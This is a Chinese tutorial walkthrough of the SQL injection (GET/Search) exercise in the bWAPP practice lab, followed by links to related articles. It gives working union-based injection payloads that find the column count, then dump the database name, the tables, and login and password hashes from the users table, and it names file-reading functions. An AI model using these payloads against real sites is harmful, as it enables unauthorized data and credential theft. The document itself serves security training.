SQL注入:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

LOW:

0x01:分析一下网站的后台源码

主要源代码:

 if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
{
//将get方法获取的值赋值个title变量
$title = $_GET["title"];
//后台SQL查询语句
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
//对MySQL数据库进行查询
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
// die("Error: " . mysql_error());
?>

可以看到,后台对输入的值没有进行任何的过滤就直接对数据库进行查询了,这是个致命的漏洞。怎么进行防护,我们以后的课程再说,就是这个平台的high级别的方法。

0x02:测试分析

在输入框内输入一些数字,点击搜索

什么都没有出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=1&action=search

我们再输入一些字符,输入一个e,点击搜索

可以看到出现很多内容,只要Title栏中带e的都会显示出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=e&action=search

这样我们可以分析得出这里是一个字符型的get请求。

0x03:测试漏洞

接下来我们进行测试这里是否存在SQL注入漏洞

常用的方法:

'(英文符的单引号)报错测试大法
and和or测试大法

输入:

e'

点击搜索后

报错了,说明很大可能存在SQL注入漏洞了。

0x04:爆字段(字段就是这个数据表中的列)

使用的方法:

order by 语句
二分查找法

输入:

the' order by 10#

报错,说明字段数少于10

再输入:

the' order by 5#

这是个正常页面,表示没查到信息,没有爆出错误,说明字段数大于5小于10。

再输入:

the' order by 8#

8也报错,小于8

再输入:

the' order by 7#

发现没有报错,8报错,7没报错,说明字段数就是7了。

0x07:爆表(即获取当前数据表)

使用的技术

union select联合注入

输入:

the' union select 1,2,3,4,5,6,7#

这个1到7就是我们查出来这个表有的列

我们可以看到,出现了几个数字2、3、5、4

把一些内置函数替换这几个数字,会得出我们想要的东西。

例如

查看当前数据库名:

输入:

the' union select 1,database(),3,4,5,6,7#

我们将2替换成database()这个函数

可以看到原来Title栏的2变成了我们要查的当前数据库的名称bWAPP。

相关函数

system_user()         系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

这些函数,你们自己都尝试去替换里面的数字,一次性替换几个也行,只要这些数字都是我们利用联合查询查到的数字就行。

我查看MySQL的版本号和当前数据库名:

输入:

the' union select 1,database(),version(),4,5,6,7#

可以看到在Release栏出现MySQL的版本5.547。

暴数据表

输入:

the' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

可以看到,爆出了5个表,其中users表是一个比较重要的表,也是值得我们注意的表。

0x06:获取后台账户用户名和密码

先查看users表的所有的列的信息

输入:

the' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

其中的login和password,应该是我们有我们想要的东西。

那我们就去查出它们的信息

输入:

the' union select 1,login,password,4,5,6,7 from users#

在Title和Release栏把它们对应的账号和密码爆出了,其中密码是经过md5加密,我们需要去解密

Medium:

防护代码:

function sqli_check_1($data)
{ return addslashes($data); }

使用了addslashes()函数。

在php中,addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠;

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

High:

防护源码:

function sqli_check_2($data)
{ return mysql_real_escape_string($data); }

使用了mysql_real_escape_string()函数。

bWAPP练习--injection篇SQL Injection (GET/Search)的更多相关文章

  1. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

  2. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  3. Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...

  4. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  5. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  6. 梨子带你刷burp练兵场(burp Academy) - 服务器篇 - Sql注入 - SQL injection UNION attack, determining the number of columns returned by the query

    目录 SQL injection UNION attack, determining the number of columns returned by the query SQL injection ...

  7. dedecms /plus/search.php SQL Injection && Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...

  8. SQL注入(SQL Injection)案例和防御方案

    sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...

  9. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

随机推荐

  1. jdbc:oracle:thin:@localhost:1521:orcl和jdbc:oracle:thin:@localhost:1521/orcl的区别

      Oracle Thin JDBC Driver 驱动程序包名:ojdbc14.jar.ojdbc6.jar 驱动程序类名: oracle.jdbc.driver.OracleDriver JDBC ...

  2. 主席树 或者 离散化+分块 BZOJ 4636

    4636: 蒟蒻的数列 Time Limit: 30 Sec  Memory Limit: 256 MBSubmit: 381  Solved: 177[Submit][Status][Discuss ...

  3. GridControl详解(三)列数据的格式设置

    为了测试方便,我们加入新的3列,格式分别是数据,时间,字符串.代码增加下列部分: //格式增加 dt.Columns.Add("数据",typeof(decimal)); dt.C ...

  4. 论文里有公式?用texlive+texstudio(windows下)

    要写论文了,但论文里有一大堆公式,感觉很麻烦,经过询问同学知道有tex这么个东西,可以像写代码一样写论文,许多论文的格式都有相关的模板,所以学习一下,这里记录一下环境安装. texlive和texst ...

  5. 39、请用代码简答实现stack

    栈和队列是两种基本的数据结构,同为容器类型.两者根本的区别在于: stack:后进先出 queue:先进先出 PS:stack和queue是不能通过查询具体某一个位置的元素而进行操作的.但是他们的排列 ...

  6. Vue.js 在 webpack 脚手架中使用 cssnext

    Vue.js 的 webpack脚手架默认已经使用了 PostCSS 的 autoprefixer 的功能. 如果想使用下一代 css语法,即cssnext: 1. 安装依赖 npm install ...

  7. MySQL join 用法

    select column1, column2 from TABLE1 join TABLE2 on 条件 # select * from table1 join table2; #两个表合成一个se ...

  8. 用C#实现通过串口对设备的数据采集--Server层

    今天中午没睡午觉,头昏眼花的,实在写不了代码,把这几天写的Server层数据采集的程序整理了一下. WatrLevelDataCollectServer.cs using System; using ...

  9. 问题解决:The content of the adapter has changed but ListView did not receive a notification

    1. 不要在后台线程中直接调用adapter 2. 不要在后台线程中修改adapter绑定的数据 如果对adapter或者adapter绑定的数据是在线程中,加上runOnUiThread就可以了 r ...

  10. TreeSet之定制排序和自然排序

    TreeSet的几大特点: 1.TreeSet中存储的类型必须是一致的,不能一下存int,一下又存string 2.TreeSet在遍历集合元素时,是有顺序的[从小到大](我的理解,如果存的字母,按字 ...